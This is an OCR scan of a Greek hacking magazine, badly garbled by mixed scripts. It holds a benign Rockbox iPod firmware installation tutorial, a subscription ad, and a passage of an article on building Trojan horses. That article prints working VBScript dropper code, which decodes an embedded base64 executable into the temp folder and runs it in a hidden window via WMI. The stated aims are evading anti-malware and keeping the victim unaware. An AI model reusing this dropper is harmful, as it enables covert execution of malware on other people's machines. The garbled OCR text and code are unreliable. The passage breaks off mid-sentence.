ο To παιχνίδι Doom καθώς και διά- Н κίνηση εἶναι άριστη, πράγμα εντυπωσιακὀ για TO 


φορα алла δηµοφιλἠ παιχνίδια hardware της συσκευής! 
(sudoku, πασιἐντζα, σκάκι, ναρκα- 
λιευτής, pong к.а.) 


To λειτουργικὀ σύστημα 


To OS του Rockbox Project εἶναι χτισμένο πάνω στις ιδιαιτερότητες rou hardware 
των συσκευών στις οποίες απευθύνεται, αλλά και του πλήθους και της διαφορετι- 
κότητας αυτών. Έτσι, υπάρχει ἑνας απλὸς πυρήνας, µε ἑνα επἰπεδο μοντέλο δια- 
χεἰρισης μνήμης, που επιτρέπει την εκτέλεση µιας µοναδικἠς διεργασίας, WOTE TO 
λειτουργικὸ να εἶναι συμβατὸ και µε συσκευὲς που δεν φέρουν μονάδα διαχείρισης 
μνήμης. Τα διάφορα νήματα εἶναι σχεδιασμένα ώστε να τρέχουν µε ακρίβεια, και 
προτεραιότητα ἐχει εκεἰνο της αναπαραγωγἠς rou ἠχου. 
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To λειτουργικὀ, καθώς και τα πρόσθετα nou αυτὀ δέχεται, εἶναι γραμμένα σε γλὠσσα 
C. Κώδικας Assembly κάνει την παρουσία του σε εξειδικευμένες περιπτώσεις συγκε- 
κριµένων συσκευών, καθώς και σε σηµεία που υπάρχει ανάγκη για βελτιστοποίηση. 


Αυτἠ η απλἠ κι ελαφριά αρχιτεκτονικἠ επιτρέπει στο Rockbox va λειτουργεἰ σε ἑνα 
πλήθος διαφορετικὠν συσκευών, που οι δυνατότητες και οι αρχιτεκτονικὲἐς τους 
ποικίλουν. 


| Configuration 
Configure Rockbox Utility 
ÅJ Device | ШЁргоху | language | «5 cache | 8 тт &Encoder | 
Select your device in the filesystem 
πως. 


Select your audio player Show disabled targets 


4 Apple ^ 
Ipod (1st / 2nd gen) (Stable) [3 
Ipod (3rd gen) (Stable) 

Ipod {4th gen, greyscale) (Stable) 
Ipod Color / Photo / U2 (4th gen) (Stable) 
Ipod Video (5th gen) (Stable) 
Ipod Mini (1st gen) (Stable) 
Ipod Mini (2nd gen) (Stable) 
Ipod Nano (1st gen) (Stable) 
Ipod Nano (2nd gen) (Unstable) 
Archos 
Cowon 


Iriver 


Την πρώτη фора nou θα ανοίξουμε ro Rockbox 
Utility το npóypauua θα µας ζητήσει να επιλέξουμε 
τη συσκευἠ µας. Αν μάλιστα θέλουμε φροντίζει va 
βοηθήσει ακόµη περισσότερο, αναζητώντας την 
εκείνο yia µας (κλικ στο κουμπί Autodetect). 


Rockbox Utility 


Н ομάδα ανάπτυξης rou Rockbox ἐχει κάνει εξαιρετικἠ δουλειά κι ὀσον αφορά στη 
διαδικασία της εγκατάστασης. Με τη βοήθεια του QT framework έχει δημιουργήσει то 
Rockbox Utility, va εργαλείο αυτοματοποιηµένης εγκατάστασης του Rockbox алла 
και διάφορων extra χαρακτηριστικὠν αυτού, στην εκάστοτε συσκευή. To Rockbox 
Utility µπορεί να τρέξει σε συστήματα Linux, OS X και Windows. Σχεδόν πλήρης 
ελευθερἱα κινήσεων, δηλαδή. Όμως τα кала του Rockbox Utility δεν σταματούν εδώ, 
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καθώς auró µας επιτρέπει να έχουμε *ка!* το stock firmware αλλά *kai* το Rockbox 
στον player µας. Μπορούμε να επιλέγουμε ὁποιο θέλουμε κατὰ την εκκίνηση της 
συσκευἠς, µέσω του bootloader που ἐχει εγκαταστήσει το Rockbox Utility. 


E d 


| File Actions Help 


Device: Apple Ipod Nano (2nd gen) (Unstable) 
Mountpoint: E:\ (PETROS IPOD) 


Installation | Accessibility | Backup &Uninstallation | Manual | Info 


Rockbox version to install 
Stable Release (Version 3. 10) X | This is the latest stable release available. 


Rockbox components to install 


The bootloader is required for starting Rockbox. Installation of the bootloader is 
only necessary on first time installation. 


[Ν] 2с Bootloader 


73 Rockbox The main Rockbox firmware. 
[V] 88 Fonts Additional fonts for the User Interface. 


Themes allow adjusting the user interface of Rockbox. Use "Customize" to à - 
d Themes Sect themes, 


[М] +å бате Files Some game plugins require additional files. 


To Rockbox Utility παρέχει £vav αμεσότατο τρόπο 
εγκατάστασης rou Rockbox, апо ro прото κιόλας 
tab του κύριου παραθύρου της εφαρµογής. 


Εγκατάσταση 


Πα τις ανάγκες του ἄρθρου θα εγκαταστήσουµε το Rockbox σε ἑνα iPod Nano 2ης 
γενιάς, µε την ελπἰδα то iTunes κι ὁλο ro bloatware που κουβαλάει pači του va ano- 
τελέσει ша παλιά, ξεχασμένη ιστορἱα ;) 


Πα αρχή, λοιπὸν, μεταβαίνουμε µέσω του αγαπημένου µας web browser στον ιστὀ- 
ΤΟΠΟ του Rockbox, στη διεύθυνση www.rockbox.org, και κατεβάζουμε στον υπολογι- 
OTI] την τελευταἰα ἐκδοση του Rockbox Utility για το λειτουργικὀ µας. Την πρώτη 
φορὰ που θα εκτελέσουµμε ro πρὀγραμμα, θα µας ζητηθεἰ να επιλέξουμε τον MP3 
player апо τη σχετικἠ λίστα µε TIG υποστηριζόμενες συσκευἑς. Πατώντας ro κουμπὶ 
Autodetect, το Rockbox Utility θα ψάξει και θα βρει τη συσκευἠ µας — арке! фиска 
να την έχουμε συνδέσει στον υπολογιστή. 
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Н οθόνη εκκίνησης ото iPod του γράφοντα, µετά 
την εγκατάσταση rou Rockbox. 


УУ НА@КЕ 
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Στο κύριο παράθυρο υπάρχουν µερι- 
κὲς απλὲς επιλογὲς. Ουσιαστικά, εἶναι 
τα στοιχεία του Rockbox που θἐλου- 
µε να εγκατασταθούν στη συσκευἠ 
μας. Εάν στη συσκευή µας δεν υπάρ- 
χει το Rockbox, τότε σίγουρα θα np£- 
πει να επιλέξουμε την εγκατάσταση του 
bootloader, ὡστε να μπορεί το Rockbox 
να εκκινήσει. Απὀ като ακριβώς επιλὲ- 
γουµε αν θέλουμε να εγκατασταθεἰ то 
Rockbox, διάφορες γραμματοσειρὲς για 
τα στοιχεία του περιβάλλοντος, θέματα 
που τροποποιούν την εμφάνιση του πε- 
ριβάλλοντος (εδώ, πατώντας το κουμπί 
customize μπορούμε να επιλέξουμε τα 
επιθυμητά) και, τέλος, διάφορα αρχεία 
που εἶναι απαραίτητα yia va λειτουργἠ- 
couv ορισμένα παιχνίδια που διατίθενται 
μαζί µε ra plug-ins?. То μόνο nou µας μὲ- 
νει εἶναι va πατήσουµε το κουμπὶ Install 
και να περιμένουμε λίγη opa, ἑως ότου 
το Rockbox Utility κατεβάσει όλα τα ana- 
ραίτητα αρχεία апо το δίκτυο κι εγκατα- 
στήσει TO νέο λειτουργικὀ σύστημα στη 
συσκευή. Όταν λάβουμε το μήνυμα ολο- 
κλήρωσης της διαδικασίας, στη συσκευἠ 
μας θα βρίσκεται εγκατεστημένο το νὲο 
της λειτουργικὀ σύστημα. Επιθυμητὀ εἰ- 
ναι να μεταβούμε στην καρτέλα Manual 
του Rockbox Utility και να του πούμε να 
μας κατεβάσει το manual του λειτουργι- 
кой για τη συσκευἠ µας. 


Λειτουργία 


Προτού αρχίσουμε να εξερευνούμε TO 
νέο μενού της συσκευἠς ας της περά- 
σουµε μερικὰ τραγούδια, ἐτσι, για να 
έχουµε κάτι у’ ακούμε бсо θα εξερευ- 
νούμε το νέο περιβάλλον. Av μέχρι тора 
περνούσαμε τραγούδια στη συσκευἠ 
μέσω κάποιου ειδικού προγράμματος του 
κατασκευαστή, τότε χαρὰς ευαγγέλια! 


Πλέον, μέσω του αγαπημένου µας file browser δημιουργούμε ἑνα νέο φάκελο στον 
αποθηκευτικὀ χώρο της συσκευἠς µε ό,τι ὀνομα θέλουμε, n.x., OpenBSD Release 
Songs, και τοποθετούμε μέσα σε αυτόν τα αρχεία ἠχου που θέλουμε ν΄ ακούσουμε”. 


Ναι, τόσο απλά! 


2. Τα συμβατά plug-ins περνάνε αυτόματα στη συσκευή ката τη διάρκεια της εγκατάστασης. 


3. Π.Χ. Bug Busters.ogg, Planet of the Users.ogg к.й. 
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Ανοἰγοντας τώρα τη συσκευἠ pac, το λογότυπο του Rockbox μάς καλωσορίζει και 
μας πληροφορεί για την εγκατεστημένη ἐκδοση. Σχεδὸν αμέσως εμφανίζεται το pE- 
VOU του νέου λειτουργικού της συσκευἠς. Н πλοήγηση σε auro γίνεται µε TOv συνη- 
θισμένο τρὀπο που πλοηγούμασταν kai ото original menu, αλλά кало εἰναι ρίξουμε 
και µια рата στο manual, για τυχόν μικροδιαφορὲς. Με την επιλογή Files του μενού, 
πλοηγούμαστε στους φακέλους του αποθηκευτικού χώρου της συσκευής. Μπορούμε 
να εντοπίσουμε τον φάκελο στον οποίο ρἰξαμε Ліүо πριν τα αρχεία ἠχου και πατώ- 
vrac ro Play να ξεκινήσει η αναπαραγωγἠ τους. Γυρνώντας στο κεντρικὀ menu, 
συναντάμε και την επιλογἠ Database. Στην περίπτωση που υπάρχουν περασμένα 
ἠδη κάποια κομμάτια στον player, µέσω κάποιου προγράμματος που συνοδεύει τη 
συσκευἠ, айта καθώς και n δομή τους εἶναι προσβάσιμα μέσα апо εκεἰ. Από την επι- 
λογἡ Now Playing, ὅπως μπορούμε εὑκολα να καταλάβουμε, εμφανίζεται o player µε 
τη Ліста αναπαραγωγἠς που εκτελείται τη δεδομένη στιγμή. Πίσω апо την επιλογἠ 
Settings φιλοξενούνται ὀλες οι ρυθμίσεις που μπορούμε να κάνουμε και, πιστέψτε 
μας, εἶναι пара πολλὲς και αφορούν στον ἠχο, στον τρόπο αναπαραγωγἠς, στην 
εμφάνιση, στη λειτουργία και στη διαχείριση του συστήματος. Όρεξη να "χουμε και 
μπορούμε να περάσουμε πολύ χρόνο ευχάριστων αναζητήσεων και πειραματισμών, 
ώστε να φέρουμε τη συσκευἠ στα προσωπικά µας γούστα κι ανάγκες. Στο Playlist 
Catalog θα βρούμε τις λίστες αναπαραγωγἠς που τυχόν έχουμε δημιουργήσει. Στο 
menu Plugins κατοικοεδρεύουν τρεις φάκελοι: Games, Applications και Demos. 
Μέσα с’ αυτούς υπάρχουν τα εγκατεστημένα plug-ins. Στον прото, ὁπως φαντάζε- 
στε, υπάρχουν παιχνίδια που μπορούν να γεμίσουν ευχάριστα τον κενὀ χρόνο µας. 
Ανάμεσα с’ αυτά υπάρχει και µια ёкбооп του Doom! Στον δεύτερο φάκελο υπάρ- 
χουν διάφορες χρήσιμες εφαρμογές, ὁπως ημερολόγιο (µε δυνατότητα προσθήκης 
γεγονότων), χρονόμετρο, αντίστροφη μέτρηση, ρολὀι, επεξεργαστἠς κειµένου, το 
πρὀγραμμα ζωγραφικής Rockpaint (µε δυνατότητα αποθήκευσης των καλλιτεχνικών 
ανησυχιών), πρὀγραμμα που κάνει λευκὴ 
την οθόνη για χρήση της συσκευἠς ως 
φακός, λεξικὀ к.а. Τέλος, στην επιλογἠ 
System του κεντρικού μενού, υπάρχουν 
πληροφορίες σχετικἁ µε τη συσκευἠ, το 
λειτουργικὸ σύστημα, алла και το debug 
mode, για ócouc θέλουν v' ασχοληθούν e Fes 
µε την ανάπτυξη rou Rockbox. Ta pus- Ἂς Settings 
VOU και οι λειτουργίες nou προαναφὲ- Recording 
pape ενδέχεται va διαφἐρουν ελαφρά F 
апо συσκευή σε συσκευἠ, ανάλογα µε 
τις υποστηριζὀμενες δυνατότητες αυτής. 
Πα αναλυτικὀτερη περιγραφή, πέραν της 
kar' ιδἰαν εξερεύνησης που καλό εἶναι 
να κάνετε, μπορεἰτε yia µια ακόµη фора ' : | 
va буатрёвете στο manual του Rockbox T° πρικομεούπου Rockbox, уш то iPod Nano 
i . Апо εδώ ξεκινάνε όλα! 
για τη συσκευή σας. 


Επιστροφἠ στη βάση 


Στην περίπτωση nou ro Rockbox δεν µας ἄρεσε, ro βαρεθήκαμµε ἡ για κἀποιο λὀγο 
θέλουμε va επιστρέψουµε στο αυθεντικό λειτουργικὀ της συσκευἠς, μπορούμε 
πολὺ апла να την κλείσουμε κι όταν την ανοΐξουμε &avà να γυρίσουμε στο «on» 
τον διακόπτη hold: η εκκίνηση της συσκευἠς θα γίνει στο εργοστασιακὀ της menu. 
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(Σε περίπτωση συσκευἠς διαφορετικἠής anó iPod, δείτε τις σχετικἐς οδηγἰες στο 
manual rou Rockbox.) Αν θέλουμε να επανέλθουµε στο Rockbox, επανεκκινούµε τη 
συσκευἠ µε τον διακόπτη hold στη θἐση «off». Τέλος, αν ἐχουμε τρελαθεἰ τελείως 
ἡ µας ἐχει Варёс n ζέστη ἡ έφτασε ro εκκαθαριστικὀ της εφορἰας κι αποφασίσου- 
µε va απεγκαταστήσουμµε ro Rockbox апо την συσκευἠ, ro Rockbox Utility δεν θα 
ἐχει ουδεμία πρὀθεση va µας εμποδίσει. Απεναντίας, κάνει παιχνιδάκι την uAonoi- 
non αυτής της εν θερμώ, τέλος πάντων, απὀφασής µας. Αφού έχουμε συνδέσει τη 
συσκευἠ στον υπολογιστή, ανοίγουμε ro Rockbox και πηγαίνουμε στην καρτέλα 
Uninstallation. Апо εκεἰ μπορούμε va απεγκαταστήσουµμε апо τον Player µας то 
Rockbox και τον Bootloader, ενώ υπάρχει και η επιλογἠ να λάβουμε backup της 
εγκατάστασής µας, ακριβώς ὁπως την έχουμε διαμορφώσει έως αυτή τη στιγμὴ, για 
την περίπτωση που αργότερα αλλάξουμε γνώμη. 


Εμεὶς πάντως θα σας λέγαμε va το ξανασκεφτεἰτε και να απολαύσετε στην параліа 
τα αγαπημένα σας, ποιοτικἁ κομμάτια FLAC, να ξεπαστρέψετε ὁλα τα тёрата του 
Doom και, γιατί ὀχι, να φορτώσετε και μερικὲς παλιὲς roms του ΖΧ Spectrum στο 
ZXBox! 


File Actions 


Device 
Device: Apple Ipod Nano (2nd gen) (Unstable) 
Mountpoint: Е:\ (PETROS IPOD) 


Remove the bootloader 
After removing the bootloader you won't be able to start Rockbox. 


Uninstall Rockbox from your audio player. 
This will leave the bootloader in place (you need to remove it manually). 


Backup current installation. 
Create a backup by archiving the contents of the Rockbox installation folder. 


To Rockbox Utility επιτρέπει την απεγκατάσταση 
του Rockbox апд τη συσκευή µας, то ἰδιο εὐκολα 
µε την εγκατάστασή της. Επιπλέον, µας παρέχει τη 
δυνατότητα λήψης αντιγράφων ασφαλείας. 
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Το deltaHacker είναι το ένα και μοναδικό 
περιοδικό µε θεματολογία το ethical 
hacking, τα δίκτυα και την ασφάλεια, τον 
προγραμματισμό και τα ηλεκτρονικά. 


To deltaHacker δεν γυρνάει εδώ κι εκεί στα 
περίπτερα, αλλά για δεύτερη χρονιά στη σειρά 
έρχεται κατευθείαν σ' εσάς. 


Αν είστε από εκείνους που δεν βλέπουν τον 
υπολογιστή τους ως άλλη µια οικιακή συσκευή 
και δεν αντιμετωπίζετε το Internet ως ένα 
δίκτυο που αρχίζει και τελειώνει µε το Facebook 
και το Twitter, τότε είναι 10996 βέβαιο ότι θα 
αγαπήσετε το deltaHacker, καθώς κι ότι θα 
θέλετε την παρέα του κάθε μήνα. 


Παραγγείλετε τώρα μία από τις συμφέρουσες 
συνδρομές από το 
http://deltahacker.gr/pdf120rder 
(ηλεκτρονική έκδοση) 

ή από το 

http://deltahacker.gr/order 

(έντυπη έκδοση, έως το τεύχος 019) 


Σηµείωση: Την ύλη όλων των τευχών που 
έχουν κυκλοφορήσει WG τώρα µπορείτε να τη 
βλέπετε στο 


deltahacker.gr/category/magazine-issues 


=> 


Save 


Skill: Advanced 
Tags: Trojan Horse, VB Script, byte array, baseo4, encoding 


΄ v 


Στο deltaHacker 021 ξεκαθαρίσαμε την £vvoia «Trojan Horse» κι 
αμέσως μετὰ εἴδαμε, βήμα προς βήμα, τη δηµιουργία ενὀς τέτοιου 
προγράμματος. Επρὀκειτο για ἐναν μεταφορέα ἡ αλλιώς φορέα κἀποιου 
ἄλλου προγράμματος, το οποίο ενδέχεται να εἶναι εἶτε κάτι που εμεῖς οι 
ἴδιοι ἔχουμε δημιουργήσει ἡ απλά έχουμε βρει ἑτοιμο, στο Διαδίκτυο. 
Σ’ auTÒ το άρθρο θα δούμε τα πράγματα µε алло μάτι: 

Εκεἶνο ενὸς ...black τύπου ;) 


και κατασκεωή Δαύρειων ἵππων [μέρας 21 
ri 


Oa πρἐπει тора va προσαρμοστούµε στο νέο µας ρὀλο. Mia апо τις απαιτήσεις TOU 
εἶναι η υποταγἠ στην αρχἠ «o okonógc αγιάζει τα μέσα». O σκοπὸς pac, περιττὀ v’ 
αναφέρουμε, εἶναι η εκτἐλεση του προγράμματος ото box rou ὁποιου θύματος. Aou- 
λεύουμε σε С++, επομένως μιλάμε για ёха binary κι ὀχι κἄποιο script. Το кало µε ra 
binaries εἶναι πως εκτελούνται απευθείας апо το λειτουργικὀ σύστημα για το οποίο 
εἶναι γραμμένα, χωρὶς π.χ. να απαιτείται η παρουσία κάποιου development/runtime 
environment. Апо την ἄλλη, ἴσως va ἐχετε υπ’ булу Trojans του darknet τα οποία 
δεν εἶναι binaries κι όμως διαδίδονται. Πώς γίνεται auró; Τα συγκεκριµένα Trojans 
δεν εἶναι γραμμένα σε С++, οὐτε καν σε Perl ἡ Pyhon. Αντίθετα, εἶναι γραμμένα σε 
VB Script. Πρόκειται yia µια γλὠσσα πολύ αγαπημένη yia τη Microsoft, µε συνέπεια 
τα σχετικἁ scripts να εκτελούνται σχεδὸν σε κάθε Windows box. 


Ὅταν λοιπὸν λίγο προηγουμένως αναφερθἠκαµε σε κἀποιον σκοπὀ nou αγιάζει Kå- 
ποια μέσα, κατὰ vou εἶχαμε να δημιουργήσουμε ёха Trojan Horse σε VB Script. Н 
ιδέα εἶναι πως то script θα µπορεί να τοποθετείται σ’ ἑνα σύστημα Windows, πιθα- 
νὠς χωρὶς να χτυπήσει συναγερμὸς апо κάποιο σύστημα anti-malware. Ουσιαστικά, 
όμως, αυτό το VB Script θα αποτελεἰ τον φορέα ενὸς ἄλλου, ενδεχομένως κακόβου- 
Лоо проүрӣратос̧, ro οποίο και θα γράφει στον δίσκο του στὀχου. Па ευκολία, το εν 
λόγω VB Script ας το ονοµμάσουµε μεταφορέα. 


Στην εργασία µας, θα κάνουμε ἑνα βήμα παραπάνω: Θα κατασκευάσουµε µια unxavr| 
που παράγει μεταφορείς! Θα φτιάξουμε, για την ακρίβεια, ἑνα πρὀγραμµμα το οποίο 
θα δέχεται ως input ἑνα οποιοδήποτε εκτελἑσιµο και θα παράγει ἑναν αντίστοιχο 
μεταφορέα σε VB Script. Κατ’ αυτόν τον τρόπο θα μπορούμε να φτιάχνουμε ὁσα 
Trojans μπορούμε να φανταστούμε και θέλουμε! Μόνο προαπαιτούμενο θα εἶναι να 
‘Хоре κατεβάσει ἡ δημιουργήσει τα εκτελἑσιµα που θα κουβαλάνε οι μεταφορείς. 


Па να βάλουμε τα πράγματα σε µια (λίγο) πιο σωστή βάση, οφείλουμε να πούμε бт! 
η VB, αν και scripting language, εἶναι πολὺ δυνατή. Όσοι λοιπὸν δεν τη γνωρίζετε 
кала, µην την υποτιμάτε. Θα τολμούσαμε να πούμε Ori δεν ἐχει τίποτα να ζηλέψει 
апо την Python ἡ την Perl. Επιτρέψτε µας µια σύντομη (κι απαραίτητη, с’ αυτή την 
περίπτωση) ιστορικἠ αναδροµἠ. Στις апарҳёс̧ της ιστορἰας των Home Computers 
κι αργότερα των Personal Computers, η περίφημη γλὠσσα BASIC ἦταν για τους 
περισσότερους μονόδρομος. Μάλιστα τα γνήσια ΙΒΜ PCs και compatibles εἰχαν την 
BASIC ενσωματωμένη σε ROM. Ὅταν το σύστημα ἄνοιγε και δεν εντοπιζόταν δι- 
σκέτα ἡ δίσκος για να φορτωθεὶ κάτι, ο χρήστης βρισκόταν απευθείας στο nepi- 
βάλλον της BASIC. Πολλοὶ λοιπὸν απὀ εμάς, εκείνη την περίοδο μυηθήκαμε στον 
προγραμματισμὀ ξεκινώντας апо την BASIC. О γράφων ἦταν апо εκείνους που δεν 
μετάνιωσε για την ενασχὀλησὴ του µε την BASIC, ποτὲ δεν μἰλησε/έγραψε υποτι- 
μητικὰ γι΄ αυτἠ και μάλιστα οὐτε πρὀκειται να το κάνει στο μέλλον. Από την BASIC, 
λοιπὸν, του 1980, πάμε ropa στην VBScript του 2013 — 33 χρόνια µετά! Στην 
πληροφορικἠ, τα 33 χρόνια εἰναι περίπου 330 της κανονικὴς ζωής. Μετὰ апо τρεις 
αιώνες, λοιπὀν, η Visual Basic Script крата ακόμα μερικὲς апо τις παλιὲς εντολὲς 
της προ-γιαγιὰς της, ὁπως επἰσης και τη δὐναμή της. Κάπου εδὠ ο γράφων θα ἠθε- 
λε να ευχαριστήσει, πρώτη φορὰ δημόσια, rov Bill Gates, που κι εκείνος αγαπούσε 
την BASIC και µας εἰχε υποσχεθεί κάποτε ori θα την βάλει σε όλα τα προϊόντα της 
Miscosoft και δεν θα την αφήσει να πεθάνει. О Gates τήρησε την υπὀσχεσή του. (Av 
το σκεφτείτε, то Microsoft Office την ἐχει ως βασικἠ γλὠσσα.) Παλιά, μάλιστα, KU- 
κλοφορούσε η φήμη πως о Gates διαπληκτιζόταν, kaAonpoaipera, µε τους проүрар- 
ματιστὲς της Microsoft, προκαλώντας τους μάλιστα να φτιάξουν, σε ónoia γλὠσσα 
θέλουν, va οποιοδήποτε πρόγραµµα, κι αυτός θα φτιάξει ακριβώς το ἰδιο σε BASIC! 
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Ερχόµαστε λοιπὀν κι εμεἰς να απαντήσουμε στο καυτό ερώτημα: Μπορούμε να φτιά- 
ἔουμε όλα αυτά που θἐλουµε σε VB; Αναφερόμαστε τόσο στον μεταφορέα, ооо και 
στον γεννἠτορά του. Συνεχίστε το διάβασμα και η απάντηση εἶναι πολύ κοντά... 

О αλγόριθμος 


Θα φτιάξουμε ёха πρὀγραμμα σε VB nou θα δημιουργεἰ μεταφορείς για ónoio EKTE- 
Лоро του ορἰζουμε εμείς, апо τη γραμμή εντολὠν. Ακολουθεἰ η περιγραφή του 
αλγορίθμου που διέπει το πρὀγραμμὰ µας. 


ο О γεννήτορας (generator) θα παίρνει апо τη γραµµή εντολών το буора του 
εκτελέσιµου (executable) nou θἐλουµε να κουβαλήσει o µεταφορέας. 


ο Θα κρατάει το προς μεταφορὰ executable σε va byte array, στη μνήμη. 
e Oa κωδικοποιεὶ αυτό ro byte array σε µορφή base64. 


ο Τέλος, θα γράφει σε ἑνα νέο αρχείο, στον δίσκο, τον ἴδιο τον μεταφορέα. 
Εκείνος εἶναι που µε κάποιον τρόπο θα πρέπει να πάει στον υπολογιστἠ-στὀχο, 
ὁπου και θα επιτελεί τα ακόλουθα: 


и Όταν τρέχει, θα γράφει ro byte array (µε то executable) στον δίσκο, ou- 
γκεκριµένα στον κατάλογο temp των Windows. Έτσι, θα εἰμαστε σχεδὸν 
σἰγουροι ὁτι έχουμε δικαιώματα εγγραφἠς. 


a Θα εκτελεἰ το executable σε stealth mode, µε τα δικαιώματα του χρήστη 
που кало ro script. 


Όλα τα παραπάνω, µε δεδομένο бт! το θύμα δεν θα πάρει χαμπαράκι! 


Το κακόβουλο (;) πρόγραμμα 
Έστω бт! έχουμε το ακόλουθο, «κακόβουλο» πρὀγραμμα. 


// hello.c 

// Είμαι o βλακ-χατ της γειτονιάς σας... ;) 
07 

stinclude«stdio.h» 


void main(void) 


{ 
printf("Hello World, I am the black-hat риу! \п"); 
printf("Listening for connections..."); 
getchar(); 

} 


Έστω επἰσης ὁτι εἶναι auró που θέλουμε να κουβαλήσει ο µεταφορέας µας. Na- 
ράγουμε λοιπὸν το αντίστοιχο executable, δίνοντας «cl hello.c» στο Visual Studio 
command line (για λεπτομέρειες δείτε то σχετικὀ ἆρθρο στο τεύχος 021). Παἰρνουμε 
TOI TO τελικὀ hello.exe, του onoiou και θα φτιάξουμε τον μεταφορέα. 
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Ο µεταφορέας 
O κὠδικάς µας, σε VB, θα μοιάζει µε τον ακόλουθο 


'ümpersonationLevel-impersonate' Enables objects to use the credentials 
of the caller. 


Set wmiServer = GetObject("winmgmts:(impersonationLevel-impersona 
te)! \\.\гоо\сіту2") 


Const TypeBinary - 1 

Const Hidden - 12, ForWriting - 2 

Dim outFile 

'Get the user temp folder. 

set fsys - CreateObject('Scripting.FileSystemObject") 


tmp = fsys.GetSpecialFolder(2) 
outFile = tmp & "\\new_exe.exe" 
Dim base64Encoded, base64Decoded, outByteArray 


base64Encoded-"TVqQAAMAAAAEAAAA/ / BAALEAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAA 


AAA2AAAAAMMfugAAtAnNIbgBTMOhVGhpcyBwcm9ncmFtIGNhbm5vdCBizSBydW4gaWA4gRE9T 
IG1vZGUUuDQOKJAAAAAAAA 


ABi48zVJoKihiaCooYmggKGAUTZhiWCooYmgqOGcoKihi/6JoY5gqKGL/0o3hjaCooYv-4iGG 
RAKihi/6M4YngqKGUml;ja 


eQAAAAAAAAAAAAOCGQABOVOAAGMBAAN j dQADA20AAAQAAAMDbQACQ1KAAbOpAAG6GKQABuik 
AAbopAAG6KQABuikAAbop 


AAG6KQABuikAAbopAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAA 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAA 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΕ 


ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ" 

'get the full executable in memory. 

base64Decoded = decodeBase64(base64Encoded) 

"write the executable to disk 

writeBytes outFile, base64Decoded 

'startup configuration of a Windows-based process 

Set startupProc = wmiServer.Get("Win32 ProcessStartup") 


' create a new instance of the class 
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Set procAttrs = startupProc.SpawnInstance 
'set to run in a hidden window 
procAttrs.ShowWindow = Hidden 
'get a handle to the process 
Set theProcess = GetObject("winmgmts:rootNcimv2:Win32 Process") 
' run the process 
ret = theProcess.Create(outFile, null, procAttrs, ргосІр) 
Private function decodeBase64(base64) 
dim DM, EL 
Set DM = CreateObject('Microsoft.XMLDOM") 
Set EL - DM.createElement("tmp") 
EL.DataType - "bin.base64" 


' Set encoded String, get bytes 
EL.Text - base64 
decodeBase64 - EL.NodeTypedValue 
end function 
Private Sub writeBytes(file, bytes) 
Dim binaryStream 
Set binaryStream - CreateObject("ADODB.Stream") 
binaryStream.Type - TypeBinary 
binaryStream.Open 
binaryStream.Write bytes 
binaryStream.SaveToFile file, ForWriting 
End Sub 


To πρὀγραμμα κάνει χρήση μερικών κλασικὠν TEXVIKOV που εφαρμόζουν πολλὰ 
Trojans rou «stage», και εἶναι οι παρακάτω. 
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e Χρησιμοποιεὶ το temp folder του τρἐχοντα χρήστη, προκειµένου να μειώσει 
στο ελάχιστο την πιθανότητα να «φάει порта» µε ro που θα επιχειρήσει να 
γράψει στο δίσκο. (Βλέπε μεταβλητή tmp.) 


ο Όταν ἐρθει η opa να κληθεί το «κακὀβουλο» прдүранна, τότε αυτό εκτελείται 
µε τα δικαιώματα του τρἐχοντα χρήστη. Αν αυτὸς ο χρήστης ἐχει δικαιώματα 
admin, τότε τα πράγματα θα εἶναι πολύ ἄσχημα! (Όχι για τον επιτιθέµενο ;) 


ο To εκτελέσιμο καλείται σε κρυφὀ process που δεν εἶναι орато στο χρήστη. Ei- 
ναι βέβαια орато апо rov Process Explorer (βλ. εικὀνα 1). AUTÒ όμως δεν λέει 


Μελέτη και κατασκευή Δούρειων ἵππων [μέρος 2] 
ri 


File Options View Process Find DLL Users Help 
| | mm cem xe оаа: 
Process - | PID CPU Private Bytes Working Set Description 


23/6/2013 10:32 nu 


cU NA зү oos remo ne εχε.εχε 


Command line: 
с Ime ТЕКЕ ἸΤτεπιρ]ήπειν exe.exe 
Current directory: 


C: WWindowslSystem32A 


Parent: WmiPrvSE.exe(2924) 
Verify 
ών [ veiy ] 


User: 


Started: 10:32:42 nu 23/6/2013 Image: 32-bit Bring to Front 


Data Execution Prevention (DEP) 
Address Space Load Randomization: Disabled 


apisetschema dll 
Кете!32 dll 


A 


locale nls 2 


Εικόνα 1 
Το κακόβουλο πρόγραµµα ονομάζεται newexe.exe 
και μόλις ξεκίνησε! 


και πολλά, αφού κανένας φυσιολογικὀς χρήστης στον πλανήτη δεν κοιτάζει 
κάθε λίγο και λιγάκι τον Process Explorer, ψάχνοντας για κάτι το ασυνήθιστο. 


Πα εκπαιδευτικούς λόγους, αναφορικά µε τη δημιουργία του μεταφορέα ἐχουμε 
κάνει κάποιους συμβιβασμοὺς. 


ο To κακόβουλο πρὀγραμμα το оуорӣсар= «newexe.exe». Συνήθως κάτι τέτοιο 
δεν συμβαίνει. Τα εκτελέσιμα των Trojans, yia να αποφύγουν το ενδεχόμενο 
να γίνουν εὐκολα αντιληπτά xouv ονόματα ὁπως sysprocess.exe, systems. 
exe, mslogs.exe κ.ο.κ. Άλλες φορὲς пал! ἐχουν μοναδικἁ ονόματα, τα οποία 
λαμβάνουν апо την εκτέλεση µιας GUID function ἡ апо το αποτέλεσµα ενὸς 
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MD5 hash. Έτσι, ἐχουμε ονόματα ónoc ro 42070aa2f60f9b735633ac.exe. Κακὴ 
επιλογἠ η τελευταία, ката την ἀποψη του γράφοντα, αφού τἐτοια ονόματα ξε- 
χωρίζουν πανεύκολα. 


e Н µεταβλητή base64Encoded περιέχει την κωδικοποιημένη μορφὴ του κακὀ- 
Boudou εκτελέσιµου, δηλαδή του προγράµµατος nou θα μεταφερθεί, θα ypa- 
